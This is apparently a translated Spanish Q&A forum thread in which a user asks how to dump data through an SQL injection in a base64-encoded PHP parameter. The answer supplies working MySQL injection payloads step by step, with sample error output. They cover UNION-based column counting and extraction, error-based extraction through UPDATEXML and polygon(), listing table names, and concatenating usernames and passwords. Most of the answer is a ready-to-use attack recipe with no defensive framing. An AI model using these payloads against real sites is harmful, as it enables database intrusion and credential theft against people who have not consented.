¿Desea volcar una consulta personalizada a través de la inyección SQL cuando la salida está en la función die ()?

1

En mi localhost tengo un enlace PHP como este

abc.com/index.php?q=XYZ

donde XYZ es un parámetro codificado en base64 que he verificado que es inyectable. Cuando intento abc.com/index.php?q=XYZ' devuelve

  

Tienes un error en tu sintaxis SQL; verifique el manual que corresponde a la versión de su servidor MySQL para

Probablemente la consulta es

'select * from TableName where q={QUERYPRAM'} or die(mysql_error());

¿Cómo puedo escribir mi consulta personalizada aquí u obtener información ya que la salida está en realidad en la función die() ?

Normalmente uso SQLMap para esta función, pero se está comportando muy lentamente y cierra la solicitud inmediatamente.

    
pregunta Johnny 22.04.2016 - 10:50
fuente

1 respuesta

4

Debe averiguar si el parámetro se está analizando como un entero o una cadena (probablemente como una cadena). Si la consulta es equilibrada y exitosa, no morirá (). prueba ..

1' order by 1-- -

o ..

1 order by 1-- -

Si el primero devuelve un error, eso significa que el parámetro se está analizando como un número entero, por lo que no necesita una comilla (') para realizar la inyección.

Ahora, hay muchas maneras diferentes de volcar los datos aquí. Pero prefiero los dos siguientes:

Primero :

Debe comprobar cuántas columnas hay en la consulta antes del punto de inyección. Puedes probar el orden por cláusula aquí. Comience con el número más alto. Por ejemplo:

1' order by 1000-- -

Lanzará un error.

ERROR 1054 (42S22): Unknown column '1000' in 'order clause'

Ahora, comienza a disminuir el conteo. Sabrá la cantidad exacta de columnas cuando la consulta sea exitosa. Digamos que hay 5 columnas.

1' order by 5-- -

Por lo tanto, esto no generará un error.

Ahora, solo agregue una consulta UNION con 5 columnas y niegue (y 0) la consulta real.

1' and 0 UNION SELECT 1,2,3,4,5-- -

Si todo va bien, verás las columnas vulnerables en la página. Digamos que la columna vulnerable que aparece en la página es '3'. Puedes volcar los datos en esta columna.

1' and 0 UNION SELECT 1,2,(SELECT version()),4,5-- -

o ..

1' and 0 UNION SELECT 1,2,(SELECT user()),4,5-- -

Si la versión de MYSQL es mayor que 5, puedes hacer esto para volcar los nombres de las tablas.

1' and 0 UNION SELECT 1,2,(SELECT table_name FROM information_schema.tables WHERE table_schema=database()),4,5-- -

y así sucesivamente ..

Segundo :

También puede volcar los datos en el error mismo. Hay muchas formas de hacerlo, pero prefiero las funciones XML de MYSQL.

1' and UPDATEXML(NULL,concat(0x3a,version()),NULL)-- -

Esto arrojará un error con la versión MYSQL.

ERROR 1105 (HY000): XPATH syntax error: ':5.5.47-0ubuntu0.14.04.1'

Luego, puedes usar subconsultas para obtener los datos.

1' and UPDATEXML(NULL,concat(0x3a, (SELECT table_name from information_schema.tables WHERE table_schema=database() limit 0,1) ),NULL)-- -

Obtendrás el primer nombre de la tabla en el error.

ERROR 1105 (HY000): XPATH syntax error: ':FIRST_TABLE_NAME'

EDIT:

Para obtener la Nth table_name, asigne un OFFSET en la cláusula LIMIT como LIMIT 0,1 .. LIMIT 1,1 .. LIMIT 2,1 .. LIMIT 3,1 y así sucesivamente ..

1' and UPDATEXML(NULL,concat(0x3a, (SELECT table_name from information_schema.tables WHERE table_schema=database() limit 1,1) ),NULL)-- -

Esto mostrará el segundo nombre de la tabla en el error.

ERROR 1105 (HY000): XPATH syntax error: ':SECOND_TABLE_NAME'

Para Nth table_name:

1' and UPDATEXML(NULL,concat(0x3a, (SELECT table_name from information_schema.tables WHERE table_schema=database() limit N,1) ),NULL)-- -

Edición 2:

No hay necesidad de volcar las columnas de datos una por una. Puede concat varias columnas como:

(SELECT concat(id, ':', username, ':', password) from users LIMIT 0,1)

P: "¿podemos volcar u obtener todos los nombres de tablas de un solo golpe?"

El error de MYSQL tiene un límite de caracteres. Este límite varía de una función a otra. Hasta ahora, el mayor número de caracteres que he visto es mediante el uso de la función polygon (). Aquí hay una consulta de ejemplo para la versión de MySQL < 5.6.

1' and polygon((select*from(select*from(select concat((select group_concat(table_name) from information_schema.tables where table_schema=database())) as '' )'')''))-- -

Output:

Illegal non geometric '(select '' from (select '
FIRST_TABLE,SECOND_TABLE,THIRD_TABLE,FOURTH_TABLE,......
' value found during parsing

Podemos volcar muchos más datos en la inyección de SQL basada en UNION, pero si se basa en errores, no se pueden volcar datos más que el límite de caracteres del error MYSQL.

Asegúrese de codificar ( BASE64 ) sus cargas útiles.

    
respondido por el Mukarram Khalid 22.04.2016 - 11:16
fuente

Lea otras preguntas en las etiquetas